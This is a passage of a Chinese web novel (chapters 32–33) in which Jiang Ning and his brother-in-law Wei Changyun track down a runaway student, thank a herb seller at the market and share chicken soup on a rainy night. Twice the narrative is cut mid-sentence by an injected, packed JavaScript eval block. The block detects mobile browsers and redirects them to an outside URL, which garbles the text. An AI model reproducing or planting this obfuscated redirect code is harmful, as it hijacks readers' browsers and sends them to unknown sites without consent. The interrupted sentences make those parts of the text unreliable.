姜宁“嗯”了声,慢一步跟上去。 追了一段路,姜宁气喘吁吁的,完全跟不上,都快看不到人了。 也没人跟他说,这个王子书跑这么快。 什么手无缚鸡之力,全是谣传。 “卫长昀,你别过来,我的事和你无关。” 姜宁在一座山丘后面,追上两人时,乍一听到这句话,脑袋一懵,茫然地抬起头,看向眼前的两人。 身形不算瘦、也不高的王子书,狼狈地站在坡的边缘。 卫长昀离他几步远,英俊的脸上表情看不出喜怒,也不见着急。 姜宁实在是累了,手撑着膝盖,往坡下边看了眼,喘着气道:“这坡连腿都摔不断,你这么能跑,继续跑啊。” 正在想如何劝人的卫长昀,眉梢微挑,嘴角不自觉上扬。 这话,倒也没错。 32.第 32 章 荒郊野外的,风一吹,气氛瞬间变了几分, 姜宁看王子书一动不动,手撑在腰上站直了,“挺能跑啊你,跑啊,接着跑。” 这辈子最讨厌的就是长跑。 高考一千五百米体考,差点要了他的命,宁愿多参加几次一百米短跑或者四百米接力。 王子书背姜宁叭叭叭几句话说得有点委屈,他就是挺能跑,跑跑怎么了? 反倒是姜宁,和卫长昀一看就是一个鼻孔出气。 “要不是我馋你家的鸡,我才懒得管你的事。” 姜宁喘匀了,走到卫长昀旁边,扒拉一下他胳膊,小声问:“你停下来做什么?” 卫长昀不自在地咳了声,稍稍偏过头,“我以为那坡很高。” 言下之意是,怕人摔下去。 姜宁“哦”了声,看向王子书,“不是我说,你跑什么?我们看上去很像贼?” 王子书:“……” 不像贼,像讨债的。 “别不说话,有什么你就说,是不是在私塾里学习成绩下滑了?还是被人欺负了?” 姜宁左右看一圈,要不是怕影响形象,恨不得蹲地上。 这地儿也太荒了,连块能坐的石头都没有。 卫长昀转头看姜宁,觉得这话有点耳熟,好似在哪儿听过。 王子书一脸愤懑和不满,感觉姜宁的口吻比先生还先生,“用不着你管。” “我说了要管你了?”姜宁接话比谁都快,“我就问问,你说出来听听。” “换作我家长昀,我倒是会管,不信你问他。” 卫长昀听到“我家”两个字时,神色微动,而后道:“是。” 王子书:“?” 难道不是来劝他的吗?怎么像是要逼着他跳下去。 “那坡跳下去都嫌硌脚底,你别站那儿了,先过来吧。”姜宁招了招手,“离院试还有一年有余,犯不着现在就想不开,好歹等考完了呢。” 听了前边一句,正要挪脚的王子书,默默又站了回去。 “你根本什么都不懂,卫长昀他就更不懂了,每次考试他都第一,他不会懂的。” 姜宁闻言,诧异地往卫长昀看去。 卫长昀面色不改,道:“嫂嫂未曾问过,我便没提。” 第一名啊,好谦虚。 他最多就拿过年级前五十。 “那他拿第一跟你有什么关系?你又没拿倒数第一。”姜宁正色道:“院试也没说秀才只有一个。” 王子书“啊”了声,一脸震惊地看姜宁。 “状元倒是只能有一个,算上武状元也就俩。”姜宁叹气,“你想不开,跑来这儿散心、逃避,我也理解,但王三叔急得团团转,你是不是该跟家里说一声,哪怕是请假在家调整一段时间呢?三叔三婶又不是不讲理的人。” 王子书一听姜宁提到家里父亲和爹爹,表情纠结起来,“我……” “好在是三婶没来,只有三叔知道。”姜宁继续道:“三婶身子不大好吧。” “阿爹没事吧?别告诉他。”王子书顾不得其余,急忙走过来,“卫长昀,你也不许说!” 卫长昀:“……” “回去。” 王子书撇嘴,眼圈发红,“回哪去?” 卫长昀皱起眉,“私塾。” 王子书刚要说完,就听姜宁悠悠然开口。 “人要懂得放过自己,别跟天才比,跟自己比呗。”姜宁手里揪着一根狗尾巴草,“他都不在私塾上学了,你管他干什么。” 王子书认得姜宁,毕竟当初姜宁嫁过来就成寡夫郎的事,小河村没人不知道。 但今日姜宁叭叭叭说一堆话,跟他上次回家时,阿爹说的不一样。 哪有人劝人是这样劝的,一句好话都不说。 卫长昀见王子书死盯着姜宁,不动声色地挡在他面前,“你若不想学,自当告知三叔三婶,而不是逃避。” 王子书低下头,道:“我没有不想学。” 卫长昀和王子书同岁,性格却不一样,在卫长昀面前,同龄人都显得不成熟。 “那想明白了,就早日回私塾。”卫长昀说完,顿了一下,目光沉沉地看着王子书。 过了会,他才道:“若没想明白,便回家中。” 王子书一脸不服,却又反驳不了,只能瞪一眼卫长昀。 卫长昀听到一声咳嗽,蹙着的眉头紧了紧,“明年院试,我希望你能同行。” 闻言王子书猛地抬头看向卫长昀,眼里满是不可置信。 他听到什么? 卫长昀这意思,是在安慰他吗? “风有点大,要不都回吧?”姜宁搓搓胳膊,开始打喷嚏了。 不是他弱不禁风,是真的风大,吹得他都能听到树叶唰唰唰的响。 变天比变脸都快,早上还觉得大晴天,这会儿就已经刮大风了。 卫长昀不一定要得到王子书的回答,都是不小的人了,话说到这份上,多说就是过界。 “摊还摆着,走吧。”卫长昀转过身,看着离自己不到两拳距离的姜宁,“吹着了?” 姜宁老实地点头,吸吸鼻子,“晚上真的炖一只鸡,好好补补了。” 卫长昀轻笑一声,发现他真长高了,和姜宁一样。 “那等会跟三叔预定一只鸡,劳烦他杀了,我们收完摊回去拿。” 姜宁跟着他一起走,都没看王子书。 “蘑菇不知道有没有卖,有的话,小鸡炖蘑菇?” “能买到。” “那买蘑菇,再来点大枣,可以再放点笋,反正保鲜。” “饿了?” “……有点。” 姜宁摸摸鼻尖,心想自己表现得有这么明显吗? 但都午时了,饿也是应该的。 - 回到镇上,卖药大叔一见他俩,一声冷哼从鼻腔里发出,扭头朝另一边,看都不看他们。 姜宁瞥了眼背篓里的东西,竟然帮着卖掉了大半。 面冷心热啊这是。 他凑到卖药大叔旁边,碰了下他胳膊,“叔,你好厉害啊,就这么会儿功夫,帮我们卖光了都。” 卖药大叔不理,闭眼抱着胳膊。 “多谢叔帮忙。”姜宁眼睛转了转,道:“叔你帮了我们这么多次,还不知道您姓什么呢。” “还知道回来啊?” “这不是去郊外找人了吗?跑得我差点喘不上气,小命都搭上了。”姜宁顺杆往上爬,“还好人找到了,还有您帮忙把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13845091|143458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东西卖出去。” “姓戚,单名一个远。” “戚叔。” 戚远表情终于缓和,往收拾东西的卫长昀瞥了眼,问姜宁,“人找到了?” 姜宁“嗯”了声,解释说:“就是上学压力太大,怕家里失望,也对自己失望,就去镇外散心。” 戚远晃了晃翘着的腿,“年轻人,心气太高,有好有坏。” “比如你家这个小叔子,就是好,丢了的那个年轻人就是不好。” “您说得对。”姜宁点点头,见背篓里还剩下一罐辣椒,还有他们带来垫肚子的烤饼。 也没多想,拿了出来,都塞到戚远手里,“叔,我们收摊要回了,这个给您。” “谢礼啊?”戚远倒也不客气,接了过去。 姜宁拍拍手,接过自己的小背篓,“这哪能是谢礼,是给您填肚子的。谢礼下回来的时候,给您单独带。” 卫长昀站在姜宁旁边,虽然差不多高,可天生要结实一些,看起来倒是像哥哥。 他伸手给姜宁理了理衣服,看向戚远,少年表情严肃,“多谢戚叔。” 戚远:“……” 耳朵还真好使,还以为没听到呢。 姜宁和卫长昀还得去找王三叔跟严肆,他们约好了,不管找不找得到人,都在严肆家的豆腐摊见。 跟戚远道别后,俩人也不敢耽误,背着东西往严肆家豆腐摊去。 卫长昀对镇上熟悉,带着姜宁沿着河边走了一会儿,穿过几条巷子,终于到了豆腐摊。 “长昀,宁哥儿,这里!” “长昀兄。” 王三叔和严肆一块叫他们,俩人听见声,走了过去。 他俩都没坐下,另外俩人就一副期待的表情盯着他们。 姜宁、卫长昀:“……” “找到了,人——” “在哪?!” “活着吧?!” 姜宁:“?” 目光移向王三叔,头顶缓缓打出一个问号。 王三叔对上他不解又困惑的眼神,探出来的身体坐了回去,“三天了,怕他想不开。” 卫长昀额角的青筋挑了挑,勉强维持住表情,“活的。” 姜宁的目光缓缓移到卫长昀身上,斟酌了下,“没寻短见,估摸着晚些时候要么回私塾,要么回家。” 王三叔听后,松了口气。 人还在就行,不然他家那口子得病过去。 一旁的严肆看看这个,又看看那个,最后试探着问卫长昀,“长昀兄这些时日,过得如何?” 卫长昀,“很好。” 严肆深以为然,“看得出来。” 姜宁刚喝进嘴里的水,差点被这两句话呛到。 怎么听上去,有点阴阳怪气的呢? 错觉吧。 姜宁想起什么,放下茶杯,“对了,我还有件事——” “难道他缺胳膊断腿了?”王三叔瞬间紧张起来。 凉棚下边一阵沉默,直到有人走了进来。 是王子书。 王子书站在他爹旁边,“爹,我还活着,胳膊腿都在。” 姜宁面色不改、身板挺直,“三叔,我是想说,要在您这儿买只鸡,活鸡,有胳膊有腿的。” 33.第 33 章 乡下散养的走地鸡肉质滑嫩、皮脆骨软、味道鲜美。 鸡肉砍成小块,放进陶锅里,等水烧开后,撇走最上面的一层油,往里加泡开的香菇、姜片和大枣,加水齐平锅口,锅盖盖严实。 中火烧开水,转小火慢炖,加一小勺盐,等上一个半时辰,汤的鲜味能飘满整个院子。 姜宁捏着一把小白菜从后院菜地里出来,在排水沟边蹭了蹭鞋底的泥,“看天一会儿要下雨,先把东西收了吧,都淋不得水。” “我跟你一起收。”朱氏正在收衣服,听后说道。 姜宁“啊”了声,往旁边棚子下边看去,卫长昀正在那儿敲敲打打,修补椅子。 小小和小宝在堂屋里玩五子连,一会儿一会儿能听到吵嚷声。 “玩游戏,不能吵架。”姜宁从门口经过,探头往里看了眼,“吵架就不玩了。” 正在为一枚棋子争执的两小孩,异口同声道:“没有吵。” 姜宁满意地点点头,“乖啊。” 拿着菜进了厨房,姜宁把菜放到盆里,端着到水缸边,舀水洗干净,又去蒸饭。 等他忙完,棚子里乒乒乓乓的声音还没消失。 姜宁擦擦手,把灶里的火控了控,别烧得太大,免得一会儿把水烧干了。 从篮子里,拿了几个洗干净的毛辣果,走到棚子下面。 “吃点水果,歇一会儿。”姜宁站在他旁边,也跟着蹲下来,看着那几张椅子。 “你会好多东西。” 卫长昀挽着袖子,一手握着锤子,一手扶着椅子,手臂一看就有劲,绝对不是手无缚鸡之力的人。 “放旁边,我一会儿吃。” 他手上有灰,接不了。 姜宁“嗐”了一声,手往前伸过去,“旁边也没放的地方,吃吧。” 卫长昀抬起眼看了看他的手,红色的毛辣果堆聚在白嫩的手心,对比明显,衬得手心粉白。 “谢谢。” “客气什么,都是自家兄弟。”姜宁一口气往他嘴里塞了好几个,“你修椅子吧,等着待会儿喝鸡汤。” “……以前学的。”卫长昀含糊不清地说。 姜宁愣了下才反应过来他在回答刚才问题,笑了笑,“你这是十项全能啊。” 卫长昀和姜宁待得久了,也学会了开玩笑,“学得不精,是想着考不上,日后还有个傍身的技能。” “得了,你这还叫不精啊。”姜宁擦了擦手站起来,“我去看看鸡,别给炖老了。” 姜宁才从木棚出来,还甩着手上的水,一转头,瞥见赵秋张着个嘴站在那儿。 姜宁冲他挥挥手,“秋哥儿?小心虫子飞嘴里。” 赵秋被他一叫,回过神来,立即闭紧了嘴,神色慌张,急急忙忙拉着姜宁往厨房走。 姜宁:“那个无赖又来了?” 赵秋一跺脚,“什么无赖,我是——哎呀,你先过来!” 姜宁一头雾水,很不明白。 进了厨房,赵秋还鬼鬼祟祟地四处看了看,确定没人注意到他们,立即松了口气。 姜宁靠着柜子,又拿了一把毛辣果。 酸甜酸甜的,可开胃了。 “宁哥儿,你刚才和……你家二郎在做什么?”赵秋小心问。 姜宁鼓着腮帮回想了下,“修椅子,说话。” 赵秋眼睛微微睁大,“还有呢?” 姜宁琢磨了一下,垂眸瞥到手里的毛辣果,瞬间反应过来了,“喂他吃这个啊。” 赵秋一听,毛都要竖起来了,“你小点声!就知道我看到,还好还好。” 唉,又来了。 这寡夫是一点不好当。 尤其是家里有个小叔子的,更难当了,怎么看都不清白。 “你怕什么,要被人看到,挨说的也是我。”姜宁往他嘴里塞了一颗毛辣果,“压压惊。” 赵秋嘴里咬着东西说不了话,好不容易咽下去,“我怕你被人说啊。” 姜宁窸窸窣窣吃东西声音停下,眨了下眼,瞅着赵秋。 “秋哥儿……” 赵秋一愣,对上他眼睛,往后退了步,“怎么了?” 姜宁“噗嗤”笑出声,手里毛辣果一扔,凑上前捏了一把赵秋的脸颊,“你好可爱。” 赵秋:“……” 完了,宁哥儿这是疯了吗? “别瞎想了,我们就算是哥儿,那不还是男的吗?”姜宁松了手,“难道我还得跟他保持距离啊。” 那就更奇怪了,说心里没鬼都没人信。 赵秋怔住,望着姜宁,“那你和他真的……” “要有什么,我第一个告诉你。”姜宁拍拍胸口保证,“现在肯定没有。” 赵秋耳朵一动,现在没有,那以后可能会有? 他悄悄往外看了眼,蹲在棚子下面的卫长昀,专心致志修补椅子,那模样的确生得好。 从前卫家父母和卫大还在的时候,谁见着他家都会夸一句有福,生了个好苗子。 模样好、读书好,未来肯定能光宗耀祖。 后来卫长昀十三岁就中了童生,又去镇上读书,那每次回来,一身长跑,布带束发,瞧着就更像是戏文里说的状元郎了。 姜宁看他出神,“看什么呢?” 赵秋纠结了下,终于还是感情战胜了以往受到的观念,“你俩挺配的。” 姜宁差点把嘴里的毛辣果整个吞下去,抚了抚脖子,“你就琢磨这个啊?” 赵秋老实地点头,“他头脑好,读书厉害,你聪明,会做生意,是般配。” 谁问你这个了! 他是在扭转观念好吧,不能因为哥儿这个第二性别,就觉得跟男的不一样了吧。 真要论起来,还多了一个器官呢。 能生。 不更牛。 “……算了,你夸人挺好。”姜宁叹了口气,往旁边挪了下,“今晚在这儿吃吧,炖了鸡汤。” 赵秋早闻见香味了,“你炖的?” 姜宁一听就明白,拿手戳了下他胳膊,“是,我炖的。” 赵秋脸上微赧,低咳一声,“那我不客气了。” 姜宁重新挽了袖子,“也没要你客气。” - 山里的天变得比其他地方快,前脚他们才把院子里的东西收了,后脚就下起了大雨。 雨点打在屋顶上,啪嗒啪嗒地响。 土房跟石砖瓦房不一样,那声音是脆的,这是闷的。 家里厨房不是封闭的,下雨又刮风,没一会儿,雨就飘进了厨房里。 好在饭做好了,端去堂屋就行。 赵秋撑着伞,身边是端着碗的姜宁,“这雨下得太大了,也不知道什么时候停。” 姜宁仔细脚下,怕滑倒,“估摸有一阵,要一直下,今晚你就跟我一块睡。” 赵秋扶着他手臂,点下头,“嗯,还好来的时候跟阿娘说了。” 大雨天其实撑伞的作用聊胜于无,就厨房到堂屋这几步,他俩都快被淋透了。 伞立在墙根,一块进了屋。 姜宁刚把碗放桌上,抬头就见卫长昀走来,“换好衣服了?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13856247|143458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 刚才雨下得突然,他们收东西也匆忙,竟然漏了被放在院子里的鸡笼。 月余前才买的鸡崽,满打满算才四十多天。 好不容易全养活了,要是让一场雨弄死了几只,怎么想都心欠。 但鸡笼比之前大,两个人抬都不好抬,只能暂时用布盖着,免得淋雨。 卫长昀虽没亲自养过,但见过。 他想了个法子,用之前补窗户剩下的油纸,搭了一个棚,又给鸡笼四个角都垫高了一掌,笼子里换了干稻草,这才解决了事。 事解决了,卫长昀一身也湿透了,跟水里捞上来的差不多。 “嗯。”卫长昀头发还有些湿,拿了块布在擦。 黑色的瞳仁显得更深,看了眼两人,“你们也去换身衣服。” 姜宁“嗯”了声,“你们都喝一碗汤,别受凉。” 换季最容易感冒,他深有经验。 说完,拽了下赵秋胳膊,俩人一块沿着屋檐下回了屋。 姜宁关了门,从柜子里翻出两身外衫,“看这雨是不停了,我说——阿嚏——!” 赵秋:“……” “你是不是受凉了?” 姜宁刚想说没有,又一个喷嚏打出来,接连打了三个,才停下。 刚才还清醒的脑子,打完喷嚏快糊了。 他晃晃脑袋,总觉得晕乎,“可能有点吧,等会儿多喝点汤,夜里捂被子里就成。” 赵秋伸手把支起的窗户关小了些,这才拿起衣服换。 姜宁一边换一边吸鼻子,心想不会真的倒霉,就他自己中招了吧? 堂屋外雨声滂沱,像水帘似的。 不算宽敞的堂屋里塞了六个人,围坐在小方桌旁,一人抱着一个碗,鸡汤的香味飘在半空。 鲜而不腻的鸡汤顺着喉咙淌到胃里,雨天的寒意就驱走了大半。 配上三个炒素菜,一顿饭吃得浑身舒畅。 吃到后边,都顾不上说话,小的更是嘬起手指来。 “三叔家的鸡,是真好吃。” “嗯嗯!” “宁哥哥,家里的鸡,以后我们去放。” 姜宁捧着碗,还在小口喝汤,“只有放羊放牛的,哪有放鸡的。” 小小问:“不能放鸡吗?” 姜宁想了想,“也不是不可以。” 放什么不是放,人都能放呢。 吃得饱了,容易发饭晕。 外边雨下那么大,洗碗也不在这会儿时间,一屋人全往后靠着今天修补好的椅子,揉着肚子发呆。 话有一句没一句的聊着,连卫长昀什么时候起身都不知道。 “嫂嫂。” 一声不大的声音响起,一屋子人全看了过去。 只见卫长昀手里端了一只碗,碗里还冒着白色的烟,好似刚从锅里盛出来的。 姜宁脑子迟钝,扭头“啊”了声。 卫长昀微微弯腰,把姜宁面前的桌子收拾出一小块,放下碗,“这是婶子病时剩下的药,兑水服用,可治风寒。” 姜宁听后,嘴角牵起笑意,“多谢小叔。” 卫长昀“嗯”了声,回到自己位置上。 他一走开,姜宁拿碗时就对上了赵秋探究又八卦的眼神,下午那些话全涌上来,莫名有些心虚。 手心贴着碗,是暖的。 姜宁垂下眼睫,余光扫到正收拾的卫长昀,少年侧脸已是轮廓分明,鼻挺唇薄。 他睫毛轻轻颤了下,一口喝下药,嘴里苦得发涩。 什么乱七八糟的,可不经这么想。